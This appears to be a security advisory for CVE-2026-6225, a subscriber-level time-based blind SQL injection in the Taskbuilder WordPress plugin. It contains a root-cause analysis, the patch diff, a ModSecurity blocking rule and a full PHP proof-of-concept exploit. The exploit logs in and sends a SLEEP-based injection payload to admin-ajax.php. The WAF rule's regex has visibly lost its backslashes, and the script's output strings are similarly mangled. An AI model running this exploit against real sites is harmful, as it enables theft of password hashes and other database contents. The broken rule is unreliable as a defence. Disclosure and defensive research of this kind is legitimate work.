Atomic Edge analysis of CVE-2026-6225:
This vulnerability is a time-based blind SQL injection in the Taskbuilder plugin for WordPress, affecting versions up to and including 5.0.6. The flaw exists in the project search functionality and allows authenticated subscribers to inject SQL commands via the ‘project_search’ parameter.
The root cause is the direct interpolation of user input into SQL queries without proper parameterized queries. In the vulnerable code at taskbuilder/includes/admin/projects/projects_list.php, lines 100-130, the $search_tag variable is concatenated into the SQL query string with only $wpdb->esc_like() applied. This escaping is insufficient for preventing SQL injection because it only escapes LIKE wildcard characters but does not prevent the injection of SQL operators or additional query statements. The code constructs the WHERE clause by directly embedding ‘$search_tag_text’ into the query using double-quoted string interpolation, allowing attackers to break out of the LIKE context and execute arbitrary SQL.
An attacker with Subscriber-level access or above can exploit this by sending a crafted request to the WordPress admin-ajax.php endpoint with the action parameter set to ‘wppm_search_project’ or similar AJAX hooks that trigger the project search. The ‘project_search’ parameter contains a time-based SQL injection payload, such as a BENCHMARK or SLEEP function, that causes a measurable delay in the response. The attacker can then infer the database structure and extract sensitive information character by character.
The patch in version 5.0.7 replaces direct string interpolation with $wpdb->prepare() for all search conditions. In the diff, the vulnerable code constructed queries like “WHERE … Project.project_name LIKE ‘$search_tag_text'” without proper sanitization. The patched version uses $wpdb->prepare() with %s placeholders for all user-supplied values, preventing SQL injection. The $search_tag_text variable is still escaped with $wpdb->esc_like() for LIKE wildcard handling, but the overall query is now safe because prepare() adds the necessary quoting and escaping for the database context.
If successfully exploited, this vulnerability allows an authenticated attacker to extract sensitive information from the WordPress database, including user credentials (password hashes), session tokens, option values, and other configuration data. The time-based blind SQL injection technique enables exfiltration of arbitrary data from any table in the database. Given the CVSS score of 6.5, this represents a significant risk for sites running affected versions, as it requires only Subscriber-level authentication and can lead to complete database compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/taskbuilder/includes/admin/projects/projects_list.php
+++ b/taskbuilder/includes/admin/projects/projects_list.php
@@ -96,43 +96,81 @@
$wppm_pl_filter .= " AND status != '$status'";
}
}
-
$wppm_project_time = get_option('wppm_project_time');
$wppm_default_project_date = get_option('wppm_default_project_date');
$sort_by = apply_filters('wppm_project_list_sort_by_query',$sort_by);
$order = apply_filters('wppm_project_list_order_query',$order);
$search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
-if(!empty($search_tag)){
- $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
- $query = ("SELECT Project.*
- FROM {$wpdb->prefix}wppm_project AS Project
- Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
- Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
- Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text')
- Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
- ");
- if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){
- $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))";
- }else{
- $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')";
- }
-}else{
- if($sort_by=='project_name'|| $sort_by=='start_date' || $sort_by=='end_date'){
- $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project
- Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
- ");
- } else{
- $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project
- Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
- Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
- Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id
- ");
- }
- if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){
- $where = " where $wppm_pl_filter";
- }else{
- $where = " where ($wppm_pl_filter AND (FIND_IN_SET('$current_user->ID',Project.users)>0 OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1)) OR Project.created_by='$cu_id')";
- }
+if (!empty($search_tag)) {
+ $search_tag_text = '%' . $wpdb->esc_like($search_tag) . '%';
+ $query = "SELECT Project.*
+ FROM {$wpdb->prefix}wppm_project AS Project
+ LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
+ LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
+ LEFT JOIN {$wpdb->base_prefix}users user ON FIND_IN_SET(user.ID, Project.users) > 0
+ LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+ // SAFE search condition
+ $search_sql = $wpdb->prepare(
+ "(Project.project_name LIKE %s
+ OR proj_statuses.name LIKE %s
+ OR proj_categories.name LIKE %s
+ OR user.display_name LIKE %s)",
+ $search_tag_text,
+ $search_tag_text,
+ $search_tag_text,
+ $search_tag_text
+ );
+ if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {
+ // ✅ Admin (safe)
+ $where = " WHERE $wppm_pl_filter AND $search_sql";
+ } else {
+ // ✅ Non-admin (safe)
+ $where = $wpdb->prepare(
+ " WHERE $wppm_pl_filter
+ AND $search_sql
+ AND (
+ FIND_IN_SET(%d, Project.users) > 0
+ OR (
+ proj_meta.meta_key = 'public_project'
+ AND proj_meta.meta_value = 1
+ )
+ OR Project.created_by = %d
+ )",
+ $current_user->ID,
+ $cu_id
+ );
+ }
+} else {
+ if ($sort_by == 'project_name' || $sort_by == 'start_date' || $sort_by == 'end_date') {
+ $query = "SELECT Project.*
+ FROM {$wpdb->prefix}wppm_project AS Project
+ LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+ } else {
+ $query = "SELECT Project.*
+ FROM {$wpdb->prefix}wppm_project AS Project
+ LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id
+ LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id
+ LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id";
+ }
+ if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {
+ $where = " WHERE $wppm_pl_filter";
+ } else {
+ $where = $wpdb->prepare(
+ " WHERE (
+ $wppm_pl_filter
+ AND (
+ FIND_IN_SET(%d, Project.users) > 0
+ OR (
+ proj_meta.meta_key = 'public_project'
+ AND proj_meta.meta_value = 1
+ )
+ )
+ OR Project.created_by = %d
+ )",
+ $current_user->ID,
+ $cu_id
+ );
+ }
}
$no_of_rows = ( "SELECT count(*) FROM ($query");
$no_of_rows = apply_filters('wppm_project_list_no_of_rows',$no_of_rows,$wppm_pl_filter,$search_tag);
--- a/taskbuilder/taskbuilder.php
+++ b/taskbuilder/taskbuilder.php
@@ -3,7 +3,7 @@
* Plugin Name: Taskbuilder
* Plugin URI: https://taskbuilder.net/
* Description: Project Management & Task Management Tool.
- * Version: 5.0.6
+ * Version: 5.0.7
* Author: Taskbuilder Team
* Author URI: https://taskbuilder.net/
* Requires at least: 5.6
@@ -22,7 +22,7 @@
if ( ! class_exists( 'WP_Taskbuilder' ) ) :
final class WP_Taskbuilder {
- public $version = '5.0.6';
+ public $version = '5.0.7';
public function __construct() {
// define global constants
$this->define_constants();
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6225
# This rule blocks SQL injection attempts targeting the 'project_search' parameter
# in Taskbuilder plugin's AJAX handler for project search.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6225 - Taskbuilder SQL Injection via project_search',severity:'CRITICAL',tag:'CVE-2026-6225'"
SecRule ARGS_POST:action "@streq wppm_search_project" "chain"
SecRule ARGS_POST:project_search "@rx (?:bsleepbs*(|bbenchmarkbs*(|bwaitforb|bdelaybs*(|bpg_sleepb|bgenerate_seriesb|b(?:and|or)s+[d]+s*=s*[d]+s*(?:and|or))" "t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6225 - Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.6 - Authenticated (Subscriber+) Time-Based Blind SQL Injection via 'project_search' Parameter
<?php
/**
* This PoC demonstrates time-based blind SQL injection via the 'project_search' parameter.
* It extracts the WordPress database version by observing response delays.
*/
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'subscriber_user'; // Change to a valid subscriber username
$password = 'subscriber_pass'; // Change to the user's password
// Step 1: Authenticate and get WordPress nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract a valid nonce for AJAX requests (optional, may not be required)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wppm_get_projects');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Perform time-based blind SQL injection
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The injection payload uses IF and SLEEP to cause a delay when the condition is true
// This example tests if the database version starts with '8' (MySQL 8.x)
$sql_payload = "1' AND (SELECT IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),0))-- -";
$post_data = array(
'action' => 'wppm_search_project', // Adjust action name if necessary
'project_search' => $sql_payload,
'nonce' => '' // May need to extract nonce; some endpoints don't check it
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;
curl_close($ch);
echo "Request took: " . round($duration, 2) . " secondsn";
if ($duration >= 4.5) {
echo "[+] Time delay detected! Database version likely starts with '8'.n";
} else {
echo "[-] No time delay. Database version does not start with '8'.n";
}
// Clean up
unlink('/tmp/cookies.txt');
?>